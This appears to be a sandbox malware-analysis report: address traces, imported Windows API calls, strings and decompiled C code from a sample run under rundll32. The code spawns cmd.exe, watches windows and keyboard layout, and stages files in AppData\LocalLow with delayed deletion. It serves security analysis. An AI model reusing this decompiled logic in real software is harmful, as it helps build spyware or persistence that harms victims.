0x04a01bb3
0x04a01bbe
0x04a01bc0
0x04a01bc2
0x00000000
0x04a01bc4
0x04a01bcf
0x04a01bd1
0x04a01bd6
0x04a01bd8
0x04a01be6
0x04a01be6
0x04a01be8
0x00000000
0x00000000
0x04a01be8
0x04a01bd8
0x04a01bc2
0x04a01bb1
0x00000000
0x04a01bea
0x04a01bef
0x04a01bf1
0x04a01bf2
0x04a01bf2
0x04a01bf7
0x04a01bfc
0x04a01bfe
0x04a01c0b
0x04a01c0b
0x04a01c11
0x04a01c24
0x04a01c3d
0x04a01c43
0x04a01c45
0x04a01c4b
0x04a01c5f
0x04a01c75
0x04a01c7b
0x04a01c7b
0x04a01c45
0x04a01c94
0x04a01c9a
0x04a01c9c
0x04a01caf
0x04a01cb6
0x04a01cb8
0x04a01cba
0x04a01cc0
0x04a01ccb
0x04a01ce6
0x04a01cec
0x04a01cee
0x04a01cfd
0x04a01d03
0x04a01d03
0x04a01d0b
0x04a01d12
0x04a01d14
0x04a01d14
0x04a01cc0
0x04a01d1c
0x04a01d1c
0x04a01d21
0x04a01d29
0x04a01d29
0x04a01d30
0x00000000
0x04a01d30
0x04a01b10
0x04a01b10
0x04a01b1f
0x04a01b21
0x04a01b26
0x04a01b28
0x00000000
0x00000000
0x04a01b2a
0x04a01b2c
0x04a01b33
0x04a01b35
0x04a01b39
0x04a01b3a
0x04a01b3d
0x00000000
0x00000000
0x04a01b3d
0x00000000
0x04a01b2c
0x00000000
0x04a01b10
0x00000000
0x00000000
0x04a0488d
0x04a04893
0x04a04897
0x04a048a0
0x04a048a4
0x04a048b5
0x04a048b8
0x04a048c4
0x04a048cb
0x04a048d4
0x04a048da
0x04a048e0
0x04a048e6
0x04a048ef
0x04a048f8
0x04a04901
0x04a04906
0x04a0490c
0x04a0490e
0x00000000
0x04a04914
0x04a04914
0x04a04918
0x04a0491a
0x04a0491d
0x04a0491d
0x04a04923
0x04a04927
0x04a04929
0x00000000
0x04a0492f
0x04a04930
0x04a04936
0x04a04937
0x04a04938
0x04a04939
0x04a0493a
0x04a04940
0x04a04940
0x04a04929
0x00000000
0x00000000
0x04a0494e
0x04a04954
0x04a04958
0x04a04961
0x04a04965
0x04a04976
0x04a04979
0x04a04985
0x04a0498c
0x04a04995
0x04a0499b
0x04a049a1
0x04a049a7
0x04a049b0
0x04a049b9
0x04a049c2
0x04a049c7
0x04a049cd
0x04a049cf
0x00000000
0x04a049d5
0x04a049d5
0x04a049d9
0x04a049db
0x04a049de
0x04a049de
0x04a049e4
0x04a049e8
0x04a049ea
0x00000000
0x04a049f0
0x04a049f1
0x04a049f7
0x04a049f8
0x04a049f9
0x04a049fa
0x04a049fb
0x04a04a01
0x04a04a01
0x04a049ea
0x00000000
0x00000000
0x04a04af1
0x04a04af5
0x04a04af6
0x04a04af8
0x04a04afa
0x00000000
0x00000000
0x04a04b3c
0x04a04b3e
0x04a04b3f
0x04a04b40
0x04a04b41
0x04a04b42
0x00000000
0x00000000
0x04a04a25
0x04a04a27
0x04a04a28
0x04a04a29
0x04a04a2a
0x04a04a2b
0x00000000
0x00000000
0x04a04a8b
0x04a04a8d
0x04a04a8e
0x04a04a8f
0x04a04a90
0x04a04a91
0x00000000
0x00000000
0x04a04fe1
0x04a04fe6
0x04a04fe7
0x04a04fe8
0x04a04fe9
0x04a04fea
0x04a01e90
0x04a01e96
0x04a01e97
0x04a01e98
0x04a01e99
0x04a01e9d
0x04a01eab
0x04a01ead
0x04a01ebc
0x04a01ec9
0x04a01ed1
0x04a01ed7
0x04a01ed9
0x04a01f2d
0x04a01edb
0x04a01ee0
0x04a01ee5
0x04a01ef5
0x04a01efb
0x04a01efd
0x04a01f0b
0x04a01f0d
0x04a01f26
0x04a01f28
0x04a01f2a
0x04a01eff
0x04a01eff
0x04a01f04
0x04a01f07
0x04a01f09
0x00000000
0x00000000
0x04a01f09
0x04a01efd
0x04a01f36
0x04a01f44
0x04a01f46
0x04a01f48
0x04a0209e
0x04a0209e
0x04a0209f
0x04a020a0
0x04a020a0
0x04a020a2
0x04a020a3
0x04a020a9
0x04a01f4e
0x04a01f5c
0x04a01f62
0x04a01f62
0x04a01f65
0x00000000
0x04a01f6b
0x04a01f6b
0x04a01f71
0x04a01f73
0x04a01f83
0x04a01f8f
0x04a01f96
0x04a01f9e
0x04a01fb3
0x04a01fb5
0x04a01fbc
0x04a01fc5
0x04a01fd6
0x04a01fe6
0x04a01fe8
0x04a01fea
0x04a01ff0
0x04a01ff4
0x04a01ff6
0x04a01ff9
0x04a01ff9
0x04a01fff
0x04a02003
0x04a02005
0x04a02009
0x04a0200c
0x04a0200e
0x04a02053
0x04a02058
0x04a02010
0x04a02010
0x04a02015
0x04a02017
0x04a0202a
0x04a0202a
0x04a0202b
0x04a0202c
0x04a02019
0x04a02019
0x04a0201a
0x04a0201b
0x04a02021
0x04a02026
0x04a02028
0x00000000
0x00000000
0x04a02028
0x04a02033
0x04a02039
0x04a0203e
0x04a0204a
0x04a0205d
0x04a0205f
0x04a02083
0x04a02083
0x04a02087
0x04a02089
0x04a0208c
0x04a0208c
0x04a02061
0x04a02061
0x04a02065
0x04a02067
0x04a0206d
0x04a0207d
0x00000000
0x04a0207d
0x04a02067
0x04a0205f
0x04a02092
0x04a02094
0x04a02095
0x04a02096
0x04a02097
0x04a0209d
0x04a0209d
0x04a01f65
0x00000000
0x00000000
0x04a04fa2
0x04a04fbc
0x04a04fc9
0x04a04fd1
0x04a04fdb
0x00000000
0x04a04ff5
0x04a05003
0x04a0500b
0x04a0500c
0x04a0500d
0x04a0500e
0x04a0500f
0x04a05015
0x00000000
0x00000000
0x04a04c0f
0x04a04c16
0x04a04c18
0x04a04c19
0x04a04c1b
0x04a04e5e
0x04a04e65
0x04a04e6a
0x04a04e6d
0x04a04e6e
0x04a04e6f
0x04a04e70
0x04a04e71
0x04a04e77
0x04a04c21
0x04a04c21
0x04a04c22
0x04a04c29
0x04a04c2e
0x04a04c31
0x04a04c33
0x04a04e23
0x04a04e23
0x04a04e25
0x00000000
0x00000000
0x00000000
0x00000000
0x04a04c39
0x04a04c39
0x04a04c3b
0x04a04da0
0x04a04da5
0x04a04da5
0x00000000
0x04a04c41
0x04a04c43
0x04a04c4b
0x04a04c51
0x04a04c53
0x04a04cf6
0x04a04d01
0x04a04c59
0x04a04c59
0x04a04c6b
0x04a04c6d
0x04a04c6f
0x04a04ce1
0x04a04cec
0x04a04cee
0x04a04c71
0x04a04c72
0x04a04c78
0x04a04c7a
0x04a04ccc
0x04a04cd7
0x04a04cd9
0x04a04c7c
0x04a04c88
0x04a04c91
0x04a04c97
0x04a04c99
0x04a04c9b
0x04a04c9e
0x04a04ca2
0x04a04ca4
0x04a04cb9
0x04a04cbd
0x04a04cc4
0x04a04ca6
0x04a04ca6
0x04a04ca6
0x04a04caf
0x04a04cb1
0x04a04cb1
0x04a04ca4
0x04a04c7a
0x04a04c6f
0x04a04d03
0x04a04d08
0x04a04da7
0x04a04da7
0x04a04db6
0x04a04dbe
0x04a04dc6
0x04a04dcc
0x04a04dd3
0x04a04dd5
0x04a04dd7
0x04a04dd9
0x04a04ddb
0x04a04de2
0x04a04de4
0x04a04de6
0x04a04df2
0x04a04dff
0x04a04e0a
0x04a04e11
0x04a04e17
0x04a04e1d
0x04a04e1d
0x04a04de6
0x04a04dd9
0x00000000
0x04a04d0e
0x04a04d10
0x04a04d1a
0x04a04d2a
0x04a04d32
0x04a04d38
0x04a04d3f
0x04a04d41
0x04a04d47
0x04a04d49
0x04a04d4f
0x04a04d56
0x04a04d58
0x04a04d5a
0x04a04d6a
0x04a04d77
0x04a04d82
0x04a04d89
0x04a04d8f
0x04a04d95
0x04a04d95
0x04a04d5a
0x04a04d49
0x04a04e2b
0x04a04e2b
0x04a04e31
0x04a04e4d
0x04a04e53
0x04a04e54
0x04a04e55
0x04a04e56
0x04a04e57
0x04a04e5d
0x04a04e33
0x04a04e3b
0x04a04e41
0x04a04e42
0x04a04e43
0x04a04e44
0x04a04e45
0x04a04e4b
0x04a04e4b
0x04a04e31
0x04a04d08
0x04a04c3b
0x04a04c33
0x00000000
0x00000000
0x04a04e78
0x04a04e7d
0x04a04e80
0x04a04e84
0x04a04e8a
0x04a04e8c
0x00000000
0x04a04e92
0x04a04e94
0x04a04e9a
0x04a04e9c
0x04a04ee9
0x04a04ee9
0x04a04e9e
0x04a04ea6
0x04a04ea8
0x04a04eaa
0x00000000
0x04a04eac
0x04a04eb3
0x04a04eb5
0x04a04eb7
0x00000000
0x04a04eb9
0x04a04eba
0x04a04ec0
0x04a04ec2
0x04a04ec2
0x04a04ec4
0x04a04ec9
0x04a04eca
0x04a04ecf
0x04a04ed1
0x04a04ed3
0x04a04ed8
0x04a04edd
0x04a04ed3
0x04a04ee1
0x04a04ee1
0x04a04eb7
0x04a04eaa
0x04a04eed
0x04a04ef3
0x04a04ef5
0x00000000
0x04a04efb
0x04a04f04
0x04a04f0c
0x04a04f0d
0x04a04f0e
0x04a04f0f
0x04a04f10
0x04a04f16
0x04a04f16
0x04a04ef5
0x00000000
0x00000000
0x04a04ba4
0x04a04bac
0x04a04bb2
0x04a04bb4
0x00000000
0x04a04bba
0x04a04bba
0x04a04bcd
0x04a04bcf
0x04a04bd1
0x04a04bd4
0x04a04bda
0x04a04bdc
0x04a04be0
0x04a04bf8
0x04a04bf8
0x04a04bdc
0x04a04bfe
0x04a04c04
0x04a04c05
0x04a04c06
0x04a04c07
0x04a04c08
0x04a04c0e
0x04a04c0e
0x00000000
0x00000000
0x04a04f54
0x04a04f56
0x04a04f58
0x00000000
0x04a04f5e
0x04a04f67
0x04a04f6f
0x04a04f71
0x00000000
0x04a04f77
0x04a04f77
0x04a04f7b
0x04a04f7c
0x04a04f7e
0x04a04f7f
0x04a04aff
0x04a04b03
0x04a04b09
0x04a04b0b
0x00000000
0x04a04b11
0x04a04b12
0x04a04b18
0x04a04b19
0x04a04b1a
0x04a04b1b
0x04a04b1c
0x04a04b22
0x04a04b22
0x04a04b0b
0x04a04f71
0x00000000
0x00000000
0x04a04f89
0x04a04f8e
0x04a04f8f
0x04a04f90
0x04a04f91
0x04a04f92
0x04a07b00
0x04a07b06
0x04a07b07
0x04a07b08
0x04a07b09
0x04a07b0a
0x04a07b0c
0x04a07b12
0x04a07b14
0x04a07b1a
0x04a07b29
0x04a07b3e
0x04a07b44
0x04a07b51
0x04a07b57
0x04a07b5d
0x04a07b5f
0x04a07b6f
0x04a07b7b
0x04a07b87
0x04a07b89
0x04a07b94
0x04a07b99
0x04a07ba1
0x04a07ba3
0x04a07bae
0x04a07bb0
0x04a07bb7
0x04a07bb7
0x04a07bc0
0x04a07bd1
0x04a07bdb
0x04a07be1
0x04a07be3
0x04a07c85
0x04a07c8b
0x04a07c8d
0x04a07c90
0x04a07c96
0x04a07c98
0x04a07c9a
0x04a07ca1
0x04a07ca3
0x04a07ca5
0x04a07ca7
0x04a07ca9
0x04a07cab
0x04a07cad
0x04a07cb2
0x04a07cb4
0x04a07cb6
0x04a07cbb
0x04a07cc8
0x04a07cce
0x00000000
0x04a07cce
0x04a07cb6
0x04a07ca9
0x04a07ca5
0x04a07ca1
0x04a07be9
0x04a07be9
0x04a07bed
0x04a07bf1
0x04a07bf7
0x04a07bf9
0x04a07bfc
0x04a07bfc
0x04a07bfe
0x04a07c02
0x04a07c04
0x04a07c07
0x04a07c07
0x04a07c14
0x04a07c27
0x04a07c2d
0x04a07c32
0x04a07c38
0x04a07c3a
0x04a07c3c
0x04a07c43
0x04a07c49
0x04a07c4b
0x04a07c51
0x04a07c53
0x04a07c59
0x04a07c5b
0x04a07c60
0x04a07c62
0x04a07c64
0x04a07c67
0x04a07c6d
0x04a07c7a
0x04a07c80
0x04a07cd1
0x04a07cd6
0x04a07cd9
0x04a07cdc
0x04a07cdc
0x04a07c64
0x04a07c53
0x04a07c4b
0x04a07c43
0x04a07be3
0x04a07ce2
0x04a07ce3
0x04a07ce4
0x04a07ce5
0x04a07ce6
0x04a07cec
0x00000000
0x00000000
0x04a04a14
0x04a04a1a
0x04a04a1b
0x04a04a1c
0x04a04a1d
0x04a04a1e
0x04a04a24
0x00000000
0x00000000
0x04a04f17
0x04a04f17
0x04a04f1d
0x04a04f22
0x04a04f23
0x04a04f24
0x04a04f25
0x04a04f26
0x00000000
0x00000000
0x04a04f31
0x04a04f31
0x04a04f37
0x04a04f3c
0x04a04f3d
0x04a04f3e
0x04a04f3f
0x04a04f40
0x04a04770
0x04a04770
0x04a04773
0x04a0477a
0x04a04780
0x04a04783
0x04a04786
0x04a04788
0x04a0478b
0x04a0478d
0x04a047a6
0x04a047a6
0x04a047ad
0x04a0478f
0x04a0478f
0x04a04792
0x00000000
0x04a04794
0x04a04794
0x04a0479c
0x04a0479c
0x04a04792
0x04a047b4
0x04a047b7
0x04a047b9
0x04a047c0
0x04a047c4
0x04a047c6
0x04a047cb
0x04a047d1
0x04a047d3
0x04a047d5
0x04a047d9
0x04a047dd
0x04a047e2
0x04a047ef
0x04a047fa
0x04a04801
0x04a0480b
0x04a04811
0x04a04811
0x04a04817
0x04a04817
0x04a04818
0x04a0481b
0x00000000
0x00000000
0x04a05016
0x04a05017
0x04a0501c
0x04a05022
0x04a05024
0x04a0502c
0x04a05034
0x04a05036
0x04a0503c
0x04a0503f
0x04a0504a
0x04a0504c
0x04a0504e
0x04a05050
0x04a05053
0x04a05056
0x04a05058
0x00000000
0x04a0506a
0x00000000
0x00000000
0x04a05063
0x00000000
0x00000000
0x04a0505f
0x04a0506f
0x04a0506f
0x04a05072
0x00000000
0x00000000
0x04a05058
0x04a05056
0x04a0504e
0x04a05076
0x04a0507e
0x04a05080
0x04a05083
0x04a0508c
0x04a0508e
0x04a05090
0x04a05092
0x04a05095
0x04a05095
0x04a05099
0x04a0509c
0x04a050a5
0x04a050a7
0x04a050a9
0x04a050ad
0x04a050af
0x04a050b4
0x04a050b4
0x04a050a9
0x04a0509c
0x04a050b7
0x04a050bf
0x04a050c5
0x04a050c6
0x04a050ca
0x04a050e0
0x04a050e5
0x04a050e7
0x04a050e9
0x04a050f7
0x04a050f7
0x04a050f9
0x04a05100
0x04a05106
0x04a05108
0x04a0510e
0x04a05115
0x04a05117
0x04a05119
0x04a05129
0x04a05136
0x04a0513c
0x04a05143
0x04a05149
0x04a0542d
0x04a05432
0x04a05432
0x04a05119
0x04a05108
0x04a05100
0x00000000
0x00000000
0x04a04b4d
0x04a04b52
0x04a04b53
0x04a04b54
0x04a04b55
0x04a04b56
0x00000000
0x00000000
0x04a04a36
0x04a04a3b
0x04a04a3c
0x04a04a3d
0x04a04a3e
0x04a04a3f
0x00000000
0x00000000
0x04a04a9c
0x04a04aa1
0x04a04aa2
0x04a04aa3
0x04a04aa4
0x04a04aa5
0x00000000
0x00000000
0x04a04b61
0x04a04b66
0x04a04b67
0x04a04b68
0x04a04b69
0x04a04b6a
0x00000000
0x00000000
0x04a04a4a
0x04a04a4f
0x04a04a50
0x04a04a51
0x04a04a52
0x04a04a53
0x00000000
0x00000000
0x04a04ab0
0x04a04ab5
0x04a04ab6
0x04a04ab7
0x04a04ab8
0x04a04ab9
0x00000000
0x00000000
0x04a04b75
0x04a04b7a
0x04a04b7b
0x04a04b7c
0x04a04b7d
0x04a04b7e
0x04a02a00
0x04a02a00
0x04a02a01
0x04a02a11
0x04a02a17
0x04a02a19
0x04a02a1c
0x04a02a1c
0x04a02a22
0x04a02a23
0x00000000
0x00000000
0x04a04a5e
0x04a04a63
0x04a04a64
0x04a04a65
0x04a04a66
0x04a04a67
0x04a02990
0x04a02990
0x04a02991
0x04a029a1
0x04a029a7
0x04a029a9
0x04a029ac
0x04a029ac
0x04a029b2
0x04a029b3
0x00000000
0x00000000
0x04a04ac4
0x04a04ac9
0x04a04aca
0x04a04acb
0x04a04acc
0x04a04acd
0x04a03140
0x04a03140
0x04a03141
0x04a03151
0x04a03157
0x04a03159
0x04a0315c
0x04a0315c
0x04a03162
0x04a03163
0x00000000
0x00000000
0x04a04b89
0x04a04b8b
0x04a04b91
0x04a04b97
0x04a04b98
0x04a04b99
0x04a04b9a
0x04a04b9b
0x04a04ba1
0x00000000
0x00000000
0x04a04a72
0x04a04a74
0x04a04a7a
0x04a04a80
0x04a04a81
0x04a04a82
0x04a04a83
0x04a04a84
0x04a04a8a
0x00000000
0x00000000
0x04a04ad8
0x04a04ada
0x04a04ae0
0x04a04ae6
0x04a04ae7
0x04a04ae8
0x04a04ae9
0x04a04aea
0x04a04af0
0x00000000
0x00000000
0x04a04b23
0x04a04b25
0x04a04b2b
0x04a04b31
0x04a04b32
0x04a04b33
0x04a04b34
0x04a04b35
0x04a04b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x04a04857
0x04a0484a
0x04a04838
0x00000000

APIs

lstrcpyA.KERNEL32(?), ref: 04A0488D
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 04A04906
CloseHandle.KERNEL32(?), ref: 04A0491D
CloseHandle.KERNEL32(?), ref: 04A04930
lstrcpyW.KERNEL32 ref: 04A0494E
CreateProcessW.KERNEL32 ref: 04A049C7
CloseHandle.KERNEL32(?), ref: 04A049DE
CloseHandle.KERNEL32(?), ref: 04A049F1
CreateThread.KERNEL32 ref: 04A04B03
CloseHandle.KERNEL32(00000000), ref: 04A04B12
WindowFromPoint.USER32(775FD500,00000014,?,?), ref: 04A05160
LocalAlloc.KERNEL32(00000000,00001000,?,?), ref: 04A0516F
GetClassNameW.USER32 ref: 04A0518F
lstrcatW.KERNEL32(00000000,?), ref: 04A051A8
lstrcatW.KERNEL32(00000000,04A0F304), ref: 04A051B0
GetWindowTextW.USER32 ref: 04A051BD
lstrcatW.KERNEL32(00000000,?), ref: 04A051D0
lstrcatW.KERNEL32(00000000,04A0F304), ref: 04A051D8
GetWindowThreadProcessId.USER32(00000000,?), ref: 04A051E0
lstrcatW.KERNEL32(00000000,?), ref: 04A0520F
lstrcatW.KERNEL32(00000000,04A0F304), ref: 04A05217
lstrlenW.KERNEL32(00000000,?,?), ref: 04A0521A
EnterCriticalSection.KERNEL32(04A16714,?,?,?), ref: 04A0525A
WindowFromPoint.USER32(775FD500,00000014,?,?), ref: 04A05295
SendMessageTimeoutA.USER32(00000000,00000050,00000000,?,00000002,000003E8,?), ref: 04A052AF
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 04A052B8
GetKeyboardLayout.USER32 ref: 04A052C3
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A05432

Strings

D, xrefs: 04A04965
d06ed635, xrefs: 04A048B8
max: %d : %d0: %d : %d1: %d : %d2: %d : %d3: %d : %d4: %d : %d5: %d : %d6: %d : %d7: %d : %d8: %d : %d9: %d : %drect: %d : %d : %d : %d, xrefs: 04A053C5
C:\Windows\system32\cmd.exe, xrefs: 04A04941
d06ed635, xrefs: 04A04979

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: lstrcat$CloseHandleWindow$Process$CreateThread$CriticalFromPointSectionlstrcpy$AllocClassEnterKeyboardLayoutLeaveLocalMessageNameSendTextTimeoutlstrlen
String ID: C:\Windows\system32\cmd.exe$D$d06ed635$d06ed635$max: %d : %d0: %d : %d1: %d : %d2: %d : %d3: %d : %d4: %d : %d5: %d : %d6: %d : %d7: %d : %d8: %d : %d9: %d : %drect: %d : %d : %d : %d
API String ID: 355388603-2506838646
Opcode ID: 4b0508ece95c927caad0394a6cf22cd36bf18668c6c9f7c1b1d45e11dbe9ddd1
Instruction ID: 825c1ce68b5d3889e07b60afd26e572008e245c7043e6a33026ba7afe5c2dd40
Opcode Fuzzy Hash: 4b0508ece95c927caad0394a6cf22cd36bf18668c6c9f7c1b1d45e11dbe9ddd1
Instruction Fuzzy Hash: 7FD1B076A45310AFE3209B65EC04FBB77ECEBA9712F00551AFA44D10D0EA7DA846CB71

Uniqueness

Uniqueness Score: -1.00%

Function 04A02490 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 328
stringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E04A02490(intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* _t121;
				signed char _t133;
				signed char _t139;
				signed int _t146;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr _t151;
				intOrPtr _t152;
				intOrPtr _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t158;
				signed char _t160;
				int _t175;
				signed char _t184;
				signed char _t195;
				intOrPtr _t215;
				void* _t216;
				WCHAR* _t236;
				void* _t237;
				WCHAR* _t238;
				signed int _t239;
				intOrPtr _t241;
				WCHAR* _t242;
				signed int _t246;
				void* _t247;
				WCHAR* _t249;
				short _t251;
				signed int _t252;
				void* _t253;
				void* _t256;
				void* _t258;

				_t249 =  *(_t253 + 0xa80);
				_t121 = _t253 + 0x660;
				 *((intOrPtr*)(_t253 + 0x28)) = __edx;
				__imp__SHGetFolderPathW(0, 0x1c, 0, 0, _t121);
				if(_t121 != 0) {
					L26:
					_t236 =  *(_t253 + 0xa90);
					if(_t236 != 0) {
						_t241 = lstrlenW(_t236) + _t123;
						if( *0x4a1672c != 0 && _t241 != 0) {
							_t215 = E04A011D0(_t241);
							if(_t215 != 0) {
								E04A01000(_t215, _t236, _t241);
								EnterCriticalSection(0x4a16714);
								 *0x4a165fc = 6;
								 *0x4a16601 = _t241;
								 *0x4a165fd = _t215;
								LeaveCriticalSection(0x4a16714);
							}
						}
					}
					return 0;
				} else {
					_t242 =  *(_t253 + 0xa80);
					_t216 = lstrcatW;
					lstrcatW(_t253 + 0x668, _t242);
					lstrcatW(_t253 + 0x66c,  *(_t253 + 0xa84));
					lstrcatW(_t253 + 0x66c,  *0x4a16824);
					_t237 = GetFileAttributesW;
					_t133 = GetFileAttributesW(_t253 + 0x668);
					if(_t133 == 0xffffffff || (_t133 & 0x00000010) == 0) {
						goto L26;
					} else {
						lstrcpyW(_t253 + 0x464, "C:\Users\jones\AppData\LocalLow\");
						lstrcatW(_t253 + 0x464, _t242);
						_t139 = GetFileAttributesW(_t253 + 0x460);
						if(_t139 == 0xffffffff || (_t139 & 0x00000010) == 0) {
							CreateDirectoryW(_t253 + 0x464, 0);
						}
						lstrcatW(_t253 + 0x464,  *(_t253 + 0xa84));
						lstrcpyW(_t253 + 0x874, "C:\Users\jones\AppData\LocalLow\");
						_t146 = lstrlenW("C:\Users\jones\AppData\LocalLow\");
						E04A01290(GetTickCount(), _t147, _t253 + 0x870 + _t146 * 2);
						_t149 =  *0x4a1685c; // 0x4a1806a
						 *((intOrPtr*)(_t253 + 0x28)) = _t149;
						_t150 =  *0x4a16860; // 0x4a18076
						 *((intOrPtr*)(_t253 + 0x2c)) = _t150;
						_t151 =  *0x4a16864; // 0x4a1808c
						 *((intOrPtr*)(_t253 + 0x30)) = _t151;
						_t152 =  *0x4a16868; // 0x4a1809e
						 *((intOrPtr*)(_t253 + 0x34)) = _t152;
						_t153 =  *0x4a1686c; // 0x4a180ca
						 *((intOrPtr*)(_t253 + 0x38)) = _t153;
						_t154 =  *0x4a16870; // 0x4a180e6
						 *((intOrPtr*)(_t253 + 0x3c)) = _t154;
						_t155 =  *0x4a16874; // 0x4a18104
						 *((intOrPtr*)(_t253 + 0x40)) = _t155;
						_t156 =  *0x4a16878; // 0x4a1811e
						 *((intOrPtr*)(_t253 + 0x44)) = _t156;
						_t157 =  *0x4a1687c; // 0x4a18136
						 *((intOrPtr*)(_t253 + 0x48)) = _t157;
						_t158 =  *0x4a16880; // 0x4a18156
						 *((intOrPtr*)(_t253 + 0x4c)) = _t158;
						 *((intOrPtr*)(_t253 + 0x28)) = 0xa;
						_t160 = GetFileAttributesW(_t253 + 0x460);
						if(_t160 == 0xffffffff || (_t160 & 0x00000010) == 0) {
							L25:
							E04A02330(_t253 + 0x66c, _t253 + 0x464, _t253 + 0x24);
							return E04A020B0(_t216,  *((intOrPtr*)(_t253 + 0x1c)), _t237, _t253 + 0x468,  *(_t253 + 0xa84),  *(_t253 + 0xa90));
						} else {
							if(_t249 == 1) {
								E04A03E60(_t253 + 0x460);
								goto L25;
							} else {
								if(_t249 != 2) {
									if(_t249 != 3) {
										lstrcpyW(_t253 + 0x25c, _t253 + 0x668);
										lstrcpyW(_t253 + 0x54, _t253 + 0x460);
										 *(_t253 + 0x18) = lstrlenW(_t253 + 0x258);
										_t175 = lstrlenW(_t253 + 0x50);
										_t246 =  *(_t253 + 0x18);
										 *(_t253 + 0x18) = _t175;
										E04A03D50(_t253 + 0x260, _t253 + 0x50, _t246, _t175);
										_t256 = _t253 + 8;
										lstrcatW(_t256 + 0x258,  *0x4a16838);
										lstrcatW(_t256 + 0x54,  *0x4a16838);
										_t251 = 0x31;
										 *((intOrPtr*)(_t256 + 0x1c)) = 0x31;
										 *(_t256 + 0x20) = _t256 + 0x62 +  *(_t256 + 0x10) * 2;
										do {
											_t184 = GetFileAttributesW(_t256 + 0x258);
											if(_t184 != 0xffffffff && (_t184 & 0x00000010) != 0) {
												_t195 = GetFileAttributesW(_t256 + 0x50);
												if(_t195 == 0xffffffff || (_t195 & 0x00000010) == 0) {
													if(CreateDirectoryW(_t256 + 0x54, 0) != 0) {
														goto L19;
													}
												} else {
													L19:
													E04A03D50(_t256 + 0x260, _t256 + 0x54, _t246,  *(_t256 + 0x10));
													_t252 =  *(_t256 + 0x20);
													_t258 = _t256 + 8;
													_t247 = 0;
													do {
														_t78 = _t247 + 0x4a0f2e0; // 0x43
														_t238 =  *(0x4a16730 +  *_t78 * 4);
														lstrcatW(_t258 + 0x258, _t238);
														lstrcatW(_t258 + 0x54, _t238);
														E04A02330(_t258 + 0x25c, _t258 + 0x54, 0);
														_t239 =  *(_t258 + 0x14);
														_t247 = _t247 + 4;
														 *((short*)(_t258 + 0x25c + _t252 * 2)) = 0;
														_t258 = _t258 + 4;
														 *((short*)(_t258 + 0x50 + _t239 * 2)) = 0;
													} while (_t247 < 0x1c);
													_t251 =  *((intOrPtr*)(_t258 + 0x1c));
													_t237 = GetFileAttributesW;
													_t246 =  *(_t258 + 0x18);
												}
											}
											 *((short*)(_t256 + 0x25c + _t246 * 2)) = 0;
											 *((short*)(_t256 + 0x54 +  *(_t256 + 0x14) * 2)) = 0;
											lstrcatW(_t256 + 0x25c,  *0x4a16828);
											lstrcatW(_t256 + 0x54,  *0x4a16828);
											 *((short*)(_t256 + 0x26a + _t246 * 2)) = _t251;
											 *( *(_t256 + 0x20)) = _t251;
											_t251 = _t251 + 1;
											 *((intOrPtr*)(_t256 + 0x1c)) = _t251;
										} while (_t251 <= 0x39);
										return E04A020B0(_t216,  *((intOrPtr*)(_t256 + 0x18)), _t237, _t256 + 0x464,  *((intOrPtr*)(_t256 + 0xa80)),  *((intOrPtr*)(_t256 + 0xa8c)));
									} else {
										E04A09A10( *((intOrPtr*)(_t253 + 0xa7c)));
										return E04A020B0(_t216,  *(_t253 + 0x18), _t237, _t253 + 0x66c,  *((intOrPtr*)(_t253 + 0xa7c)),  *((intOrPtr*)(_t253 + 0xa8c)));
									}
								} else {
									CreateDirectoryW(_t253 + 0x874, 0);
									MoveFileExW(_t253 + 0x878, 0, 4);
									return E04A020B0(_t216,  *(_t253 + 0x18), _t237, _t253 + 0x874,  *(_t253 + 0xa80),  *((intOrPtr*)(_t253 + 0xa8c)));
								}
							}
						}
					}
				}
			}

0x04a02498
0x04a0249f
0x04a024b1
0x04a024b5
0x04a024bd
0x04a028dc
0x04a028dc
0x04a028e5
0x04a028f0
0x04a028f9
0x04a02906
0x04a0290a
0x04a0290f
0x04a0291c
0x04a02927
0x04a0292e
0x04a02934
0x04a0293a
0x04a0293a
0x04a0290a
0x04a028f9
0x04a0294c
0x04a024c3
0x04a024c3
0x04a024d1
0x04a024d9
0x04a024ea
0x04a024fa
0x04a024fc
0x04a0250a
0x04a0250f
0x00000000
0x04a0251d
0x04a0252a
0x04a02539
0x04a02543
0x04a02548
0x04a02558
0x04a02558
0x04a0256d
0x04a0257c
0x04a02587
0x04a025a1
0x04a025a6
0x04a025ab
0x04a025af
0x04a025b4
0x04a025b8
0x04a025bd
0x04a025c1
0x04a025c6
0x04a025ca
0x04a025cf
0x04a025d3
0x04a025d8
0x04a025dc
0x04a025e1
0x04a025e5
0x04a025ea
0x04a025ee
0x04a025f3
0x04a025f7
0x04a025fc
0x04a02608
0x04a02610
0x04a02615
0x04a02897
0x04a028aa
0x04a028db
0x04a02623
0x04a02626
0x04a02892
0x00000000
0x04a0262c
0x04a0262f
0x04a02683
0x04a026d0
0x04a026df
0x04a026f1
0x04a026fa
0x04a026fc
0x04a0270d
0x04a02711
0x04a02716
0x04a02727
0x04a02734
0x04a0273a
0x04a0273f
0x04a02747
0x04a02750
0x04a02758
0x04a0275d
0x04a02770
0x04a02775
0x04a0278a
0x00000000
0x00000000
0x04a02790
0x04a02790
0x04a027a0
0x04a027a5
0x04a027a9
0x04a027ac
0x04a027b0
0x04a027b0
0x04a027b6
0x04a027c6
0x04a027ce
0x04a027dd
0x04a027e2
0x04a027e8
0x04a027eb
0x04a027f3
0x04a027f6
0x04a027fb
